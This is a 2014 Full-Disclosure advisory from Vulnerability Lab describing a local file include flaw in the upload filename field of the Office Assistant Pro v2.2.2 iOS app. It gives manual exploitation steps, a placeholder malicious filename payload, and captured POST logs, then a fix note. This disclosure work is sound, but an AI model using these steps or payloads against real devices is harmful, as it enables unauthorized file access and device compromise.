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[Full-disclosure] Office Assistant Pro v2.2.2 iOS - File Include Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Office Assistant Pro v2.2.2 iOS - File Include Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Sat, 15 Feb 2014 22:53:59 +0100
Document Title:
===============
Office Assistant Pro v2.2.2 iOS - File Include Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1197
Release Date:
=============
2014-02-13
Vulnerability Laboratory ID (VL-ID):
====================================
1197
Common Vulnerability Scoring System:
====================================
6.9
Product & Service Introduction:
===============================
Office Assistant Pro is an All-Powerful office suite specially designed for you
to deal with the Office affairs anywhere,
anytime on iPhone, iPad or iPod touch. With Office Assistant Pro, you can
high-efficiently manage almost all type of
files by `ONE PAGE` model and make Notes, Reminders, Meeting Recorder as below.
The powerful file manager: high-efficiently
File Management in only “ONE PAGE” and easily File Transferred between local
and cloud storage. You can complete all of
your operations in `ONE PAGE`.
( Copy of the Homepage:
https://itunes.apple.com/us/app/office-assistant-pro-full/id449595696 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web
vulnerability in the official Beijing Elinasoft
Technologies - Office Assistant Pro v2.2.2 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-02-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Beijing Elinasoft Technologies
Product: Office Assistant Pro - iOS Mobile Web Application 2.2.2
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official
Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to
unauthorized include local file/path requests or system specific path commands
to compromise the web-application or mobile device.
The web vulnerability is located in the `file name` value of the `Upload`
module POST method request. Remote attackers are able to inject own files
with malicious filename to compromise the mobile application. The attack vector
is persistent and the request method is POST. The local file/path
include execution occcurs in the main file dir index- or sub category item
listing of the file manager. The security risk of the local file include
web vulnerability is estimated as high with a cvss (common vulnerability
scoring system) count of 6.8(+)|(-)6.9.
Exploitation of the local file include web vulnerability requires no user
interaction or privileged mobile web-application user account with password.
Successful exploitation of the local web vulnerability results in mobile
application or connected device component compromise by unauthorized local
file include web attacks.
Request Method(s):
[+] [POST]
Vulnerable Input(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Item Listing
Proof of Concept (PoC):
=======================
The local file include web vulnerability can be exploited by remote attackers
without user interaction or privileged mobile application user account.
For security demonstration or to reproduce the local file include web
vulnerability follow the provided information and steps below.
Manually exploitation steps to reproduce the vulnerability ...
1. Install the Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile
web-application
2. Now visit from a remot ecomputer the wifi web-interface of the service
3. Click the upload button and tamper the next request (POST method)
4. Exchange the filename value with your own malicious local file or path
request
5. Continue after the intercept and refresh the index file dir
6. The malicious local file request execution occurs in the main file dir index
listing
7. Successful reproduce of the vulnerability!
PoC: Index File Dir Item Listing - Upload > [filename]
<tbody><tr><td>Name</td><td width="20px"> </td><td>Last modified</td><td
width="20px"> </td>
<td style="text-align:right">Size</td></tr><tr><td
colspan="5"><hr></td></tr><tr><td><a
href="http://192.168.2.109:8080/User%20Manual/";>User Manual/</a></td>
<td> </td><td style="font-size:9pt;">12.02.2014 01:43</td><td> </td><td
style="text-align:right; font-size:9pt;">--</td></tr><tr><td
colspan="5"><hr></td></tr>
<tr><td><a href="http://localhost:8080/%3%2F./[LOCAL FILE INCLUDE
VULNERABILITY!]'<"><%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<"></a></td><td>
</td><td style="font-size:9pt;">12.02.2014
01:44</td><td> </td><td
style="text-align:right; font-size:9pt;"> 23.8
Kb</td></tr></table></p><form action=""
method="post" enctype="multipart/form-data" name="form1"
id="form1"><input type="file" name="file" id="file"
/></label><label><input type="submit" name="button"
id="button" value="Upload"
/></label></form><p> </p><hr
/><font size="2" style="color:gray">© 2014 Elinasoft
Technologies Ltd. All Rights Reserved.</font><br><font
size="2"><a
href="http://www.x.com";>http://www.x.com</a></font><br><font size="2"><a
href="http://x.com/elinasoft";>http://x.com/elinasoft</a></font><br><font
size="2"><a
href="http://x.com/elinasoft";>http://x.com/elinasoft</a></font></body></html></iframe></a></td></tr></tbody>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1739] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101
Firefox/26.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.109:8080/]
Cookie[jtable%2376270709page-size=10]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------60102527228942
Content-Disposition: form-data; name="file"; filename="%2F./[LOCAL FILE INCLUDE
VULNERABILITY!]'<"
Content-Type: image/jpeg
Reference(s): URL
http://localhost:8080/
Solution - Fix & Patch:
=======================
The local web vulnerability can be patched by a secure parse and input
restriction of the vulnerable filename value.
Ensure that the POST method request of the upload function is secure to prevent
file include and persistent script code injection attacks.
Security Risk:
==============
The security risk of the local file include web vulnerability is estimated as
high(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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